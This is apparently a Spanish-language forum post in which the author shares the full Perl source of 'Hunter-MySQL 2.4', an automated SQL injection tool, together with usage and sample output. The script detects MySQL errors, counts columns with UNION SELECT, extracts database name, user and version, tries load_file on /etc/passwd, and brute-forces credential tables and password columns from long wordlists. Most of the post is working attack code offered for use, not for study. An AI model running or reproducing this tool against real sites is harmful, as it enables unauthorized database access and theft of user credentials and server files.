Programa = Hunter-Mysql
Version = 2.4
Autor : El Gran Guasón



Hola a todos , el otro dia me puse a pensar que a pesar de que a varias personas de diferentes foros les gustaba hunter-mysql pero francamente a mi nunca me gusto debido a su mala automatizacion , me puso a programar todo de nuevo y me di cuenta de que esta version si me gusto .Lo unico malo si que algunos de ustedes saben sobre inyecciones sql , se habran dado cuenta de que la vieja version como esta utiliza el numero 1 en el "union select" siempre para extraer informacion pues eso no lo pudo arreglar debido a que no tuve tiempo.

Funciones


* busqueda de columnas
* Busqueda de vulnerabilidades : load_file
* Extraccion de columnas de mysql.user
* Extraccion de tablas y columnas por information_schema
* Extraccion de columnas y tablas por fuerza bruta
* Informacion DB
* Generacion de inyecciones sql en el log con el que se lograron encontrar


Cabe aclarar que como esta version esta automatizada , lo que hara es que si no encuentra mysql.user o schema , el script sacara las columnas y tablas por brute force de lo contrario no lo hara.


Aca el codigo.


Código:
#####################################################################################
# Hunter-MYSQL V2.4
#
# Autor : El Gran Guasón
# Blog : elgranguason.wordpress.com
#
#
#
# Funciones:
#
#
# * busqueda de columnas
# * Busqueda de vulnerabilidades : load_file
# * Extraccion de columnas de mysql.user
# * Extraccion de tablas y columnas por information_schema
# * Extraccion de columnas y tablas por fuerza bruta
# * Informacion DB
# * Generacion de inyecciones sql con el que se lograron encontrar
#
#
#
# Advertencia : Este codigo es libre de distribuir siempre cuando se
# respete el codigo y no se modifique nada, tampoco me hago # # responsable del mal uso que se le de o suceda con su uso
#
#
#####################################################################################
 
use LWP::Simple;
 
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
'name','names','nombre','nombres','usuarios','member','members','admin_table',
'miembro','miembros','membername','admins','administrator',
'administrators','passwd','password','passwords','pass','Pass',
'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contrasena','auth','key','senha',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
'associated','accnt','customers','customer','membres','administrateur','utilisateur',
'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
 
 
'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARI
 
OS','MIEMBROS','MIEMBRO');
 
@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','me
 
mbros','utilizadores','sysadmin','email',
 
 
'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','us
 
er_usern','un','user_un','mail',
 
 
'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id',
 
'usr','sistema_id','author',
 
 
'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores'
 
,'pass_hash','hash','pass','correo',
 
 
'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pw
 
rd','user_pwrd','pwd','authors',
 
 
'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_
 
password','web_username');
 
 
 
 
$mas = "+";
$menos = "--";
 
$cmd = &SO;
system ($cmd);
 
 
my $target = $ARGV[0];
my $numero = $ARGV[1];
my $file = $ARGV[2];
 
unless ($target || $numero) {
&sintasis;
}
 
 
open ( LOG , ">>$file");
&logo;
&destroy($target,$numero);
 
 
 
 
#-----------------------------------------------FUNCIONES---------------------------------------------------------------------------------#
 
 
sub SO{
my $SO = $^O;
if (index($SO,'linux') == '0'){
$cmd = "clear";
return $cmd;
}else{
$cmd = "cls";
return $cmd;
}
}
 
sub sintasis {
print "--------------------------------------------------------------------------------\n";
print "Hunter-MYSQL V2.4\n\n";
print "Autor : El Gran Guason\n";
print "Blog : elgranguason.wordpress.com\n\n";
print "Modo de uso = $0 <target> <numero de columnas> <archivo log opcional>\n\n";
print "Ejemplo = $0 http://127.0.0.1/index.php?id= 20 log.txt\n\n";
print "--------------------------------------------------------------------------------\n";
exit 1;
}
 
sub logo {
print "\n\n====================================\n";
print "Hunter-MYSQL 2.4 By El Gran Guason\n";
print "====================================\n";
}
 
 
sub creditos {
print "\n\n=================================\n";
print "Written By El Gran Guason || 2010\n";
print "=================================\n\n";
}
 
 
 
sub comprobar {
 
my $target = shift;
 
 
print "\n\n[+] Target = $target\n";
 
$z = $target."union+select--";
 
 
$response = get($z);
 
if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~
 
/tem um erro de sintaxe no seu SQL/ || $response =~ /Algo está equivocado en su sintax/ ||
 
$response =~ /Division by zero in/ || $response =~/Algo está equivocado en su sintax/) {
print "\n[+] El objectivo utiliza mysql continuando ataque.........\n\n";
} else {
print "\n[-] El objectivo no utiliza mysql\n\n";
exit 1;
}
} # Fin de comprobar
 
 
 
sub destroy {
my $target = shift;
my $limite = shift;
 
$sigamos = "0";
 
&comprobar($target);
print LOG "Pagina vulnerable = $target\n\n";
print LOG "Injeccion3s SQL generadas\n";
for ($column = 0 ; $column < $limite; $column ++)
{
 
$inyection.=','."0x677561736f6e";
 
if ($column == 0)
{
 
$inyection = '';
$union = '';
}
 
 
$sql=$target."-1".$mas."union".$mas."select".$mas."0x677561736f6e".$inyection.$menos;
$response=get($sql);
if($response =~ /guason/)
{
 
$column ++;
 
print "\n\n[+] El sitio tiene $column columnas\n";
&genera($column,$target);
}
 
}
 
 
print "\n\n[-] No se encontro el numero de columnas\n\n";
&creditos;
 
}
 
sub genera {
 
$k = shift;
$t = shift;
 
for ($col = 1 ; $col <= $k ; $col++) {
$y = $y.$col.",";
}
chop($y);
 
$in = $t."-1+union+select+".$y;
 
print "\n[?] Inyeccion creada = $in\n\n";
print LOG "\nNumero de columnas\n\n";
print LOG "\n[?] Inyeccion creada = $in\n\n";
($galaxia,$url) = &database($in);
&vuls($target,$column,$galaxia,$y);
}
 
 
sub vuls {
my $target = shift;
my $limite = shift;
my $galaxia= shift;
my $y = shift;
 
$schemas = "0";
$mysqluser = "0";
 
print "[+] Buscando posibles metodos de ataque.....\n\n";
 
sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}
 
 
for ($col = 1 ; $col <= $limite ; $col++) {
 
$x = $x.hex_sql("guason").",";
}
chop($x);
 
 
$sql=$target."-1".$mas."union".$mas."select".$mas.$x.$mas."from".$mas."information_schema.tables".$menos;
$response=get($sql);
if($response =~ /guason/)
{
 
print "[?] Se encontro information_schema\n";
$schemas = "1";
&schema($target,$limite);
}
 
 
$sql=$target."-1".$mas."union".$mas."select".$mas.$x.$mas."from".$mas."mysql.user".$menos;
$response=get($sql);
if($response =~ /guason/)
{
 
print "[?] Se encontro mysql.user\n";
$mysqluser = "1";
&mysql($target,$limite,$galaxia,$y);
 
}
 
while ($loadcont < $column-1)
{
$loadfile.=','.'load_file(0x2f6574632f706173737764)';
$loadcont++;
}
 
$sql=$host."-1".$mas."union".$mas."select".$mas."load_file(0x2f6574632f706173737764)".$loadfile.$
 
menos;
$response=get($sql);
if($response =~ /root:x:/)
{
print "[?] Se encontro LOAD_FILE\n";
&load;
}
 
 
if ($mysqluser == 0 && $schemas == 0) {
&damela($target,$limite);
}
 
print "\n[+] Ataque finalizado\n";
&creditos;
exit 1;
 
}
 
 
 
sub mysql {
my $target = shift;
my $limite = shift;
 
$found = "0";
for ($col = 1 ; $col <= $limite ; $col++) {
 
$a = $a.hex_sql("guason").",";
}
chop($a);
 
 
my $number = $limite;
 
$path = "$a+from+mysql.user";
$web = $target."-1+union+select+".$path;
 
print "\n[¡] Verificando existencia de mysql.user\n\n";
$re = get($web);
if ($re =~/guason/) {
print LOG "\n\nColumnas para tabla mysql.user\n\n";
print "[!] OK , Es vulnerable.............\n";
} else {
print "[-] El target no utiliza mysql.user o esta mal el numero de columnas\n";
exit 1;
}
 
print "\n[?] Buscando columnas para mysql.user\n\n";
 
 
 
$select = "-1+union+select+";
$coma = ",";
$user = "+from+mysql.user";
 
 
for ($col = 2 ; $col <= $limite ; $col++) {
 
$e = $e.hex_sql("guason").",";
}
chop($e);
 
 
 
for my $columnas(@nombrecolumna) {
chomp $columnas;
$t =$target.$select."concat(0x677561736f6e,$columnas)".",".$e.$user;
$a = get($t);
if ($a=~/guason/) {
$found++;
print "[+] Se encontro columna $columnas\n";
print LOG "$t\n";
 
 
 
}
 
}
 
 
 
 
if ($found == 1) {
print "[+] Se encontro en total 1 columna\n";
}
 
if ($found == 0 ) {
print "[-] No se encontro ninguna columna para mysql.user\n";
}
 
 
print "\n[+] Se encontro en total $found columnas\n";
print "\n\n[¡] Busqueda finalizada\n\n";
 
}
 
 
sub database {
 
my $target = shift;
 
print "[+] Intentando extraer informacion de DB\n";
 
if ($target=~/http:(.*)=/) {
$f = $1;
$d = "http:".$f."=";
}
 
 
($url,$numeros) = $target=~ m{(.*)\+(.*)$}g;
 
my $nan = $numeros;
$numeros = split(",",$numeros);
for ($p=1;$p<=$numeros;$p++){
$hola = $hola.hex_sql("4789$p").",";
}
chop($hola);
 
 
$j = $d."-1+union+select+".$hola;
$g = get($j);
(@numbers) = $g =~ m{4789(\d+)}g;
 
 
 
$fores = 'concat(0x494e,database(),0x3A,user(),0x3A,version(),0x46494e,connection_id(),0x46494e)';
 
for my $numerin(@numbers) {
my $copia = $nan;
$copia =~ s/$numerin/$fores/g;
$url = $url."+".$copia;
 
 
$RRA = get($url);
 
 
if ($RRA =~/IN(.*):(.*):(.*)FIN(.*)FIN/) {
$galaxia = int($numerin);
$lola= "yes";
print "\n\n[+] Extrayendo datos con numero $numerin.............\n\n";
print "[?] Nombre de la base de datos = $1\n";
print "[?] Usuario = $2\n";
print "[?] Version DB = $3\n";
print "[?] ID de la conexion = $4\n\n\n";
print LOG "\n\n[+] Extrayendo datos con numero $numerin.............\n\n";
print LOG "[?] Nombre de la base de datos = $1\n";
print LOG "[?] Usuario = $2\n";
print LOG "[?] Version DB = $3\n";
print LOG "[?] ID de la conexion = $4\n\n\n";
 
}
}
 
unless ($lola =~/yes/g) {
print "[-] No se pudo extraer informacion sobre DB\n"; 
}
 
 
return ($galaxia,$url);
}
 
 
sub schema {
 
my $target = shift;
my $limite = shift;
 
my $copia = $target;
 
 
 
for ($col = 2 ; $col <= $limite ; $col++) {
$y = $y.$col.",";
}
chop($y);
 
$concat = "group_concat(0x3a3a5072696d65726f3a3a,table_name,0x3a3a536567756e646f3a3a),";
$web = "+from+information_schema.tables";
 
 
 
$test1 = $target."-1+union+select+".$concat.$y.$web;
$prueba1 = get($test1);
while ($prueba1 =~/::Primero::(.*?)::Segundo::/g) {
$ok = "yes";
@tables = $1;
print LOG "$test1\n";
for my $tablas(@tables) {
print "\n[+] Se encontro $tablas\n";
&raro($tablas,$copia);
}
 
}
 
 
 
 
 
sub raro {
 
my $tab = shift;
my $copia = shift;
 
 
$concat = "group_concat(0x3a3a5072696d65726f3a3a,table_name,0x3a3a536567756e646f3a3a)";
$web = "+from+information_schema.tables";
 
$ascii = join ',', unpack "U*", $tab;
$paja = "group_concat(0x3a3a5072696d65726f3a3a,column_name,0x3a3a536567756e646f3a3a),";
my $tar = "+from+information_schema.columns+where+table_name=char($ascii)";
 
$final = $copia."-1+union+select+".$paja.$y.$tar;
$arreglo = get($final);
while ($arreglo =~/::Primero::(.*?)::Segundo::/g) {
print "[++] Se encontro $1\n";
print LOG "$final\n";
}
 
 
}
 
if ($ok !=~/yes/) {
print "\n[-] No se logro extraer nada con information_schema\n\n"; }
} # Fin de schema
 
 
 
sub damela {
print "[+] Buscando tablas y columnas por fuerza bruta......\n\n";
print LOG "\n\nTablas y columnas por fuerza brute obtenidas\n\n";
my $target = shift;
my $limite = shift;
 
$re1 = "0";
$re2 = "0";
 
for ($col = 2 ; $col <= $limite ; $col++) {
$u = $u.$col.",";
}
chop($u);
 
 
$web = $target."-1+union+select+"."0x677561736f6e,".$u;
 
 
for my $tablas(@nombretabla) {
$from = "+from+$tablas--";
my $full = $web.$from;
$re = get($full);
if ($re =~/guason/g) {
$re1++;
print LOG "$full\n";
print "\n[+] Se encontro $tablas\n";
for my $coles(@nombrecolumna) {
 
 
$concat = "concat(0x677561736f6e,0x3a,$coles)";
my $final = $target."-1+union+select+".$concat.",".$u."+from+".$tablas;
$rer = get($final);
if ($rer =~/guason/g) {
$re2++;
print "$final\n";
print "[++] Se encontro $coles\n";
}
}
}}
if ($re1 == 0) {
print "\n\n[-] No se pudo encontrar ninguna tabla\n\n";
}
print "\n[X] Se encontro $re1 tablas y $re2 columnas\n\n";
print "[+] bRUTEo Finalizado\n \n";
}

Ejemplo de uso


Código:
perl hunter.pl http://127.0.0.1/index.php?id= 20

El resultado seria

Código:
====================================
Hunter-MYSQL 2.4 By El Gran Guason
====================================


[+] Target = http://127.0.0.1/index.php?id=

[+] El objectivo utiliza mysql continuando ataque.........



[+] El sitio tiene 4 columnas

[?] Inyeccion creada = http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4

[+] Intentando extraer informacion de DB


[+] Extrayendo datos con numero 1.............

[?] Nombre de la base de datos = test
[?] Usuario = root@localhost
[?] Version DB = 4.1.9-max
[?] ID de la conexion = 271

[+] Buscando posibles metodos de ataque.....

[?] Se encontro mysql.user

[í] Verificando existencia de mysql.user

[!] OK , Es vulnerable.............

[?] Buscando columnas para mysql.user

[+] Se encontro columna user
[+] Se encontro columna password

[+] Se encontro en total 2 columnas


[í] Busqueda finalizada


[+] Ataque finalizado


=================================
Written By El Gran Guason || 2010
=================================

Otra cosa como mi DB es una caca no logre probar schema si alguien lo prueba y me dice por privado si hay algun error se lo agredeceria.

G00d By3

Guason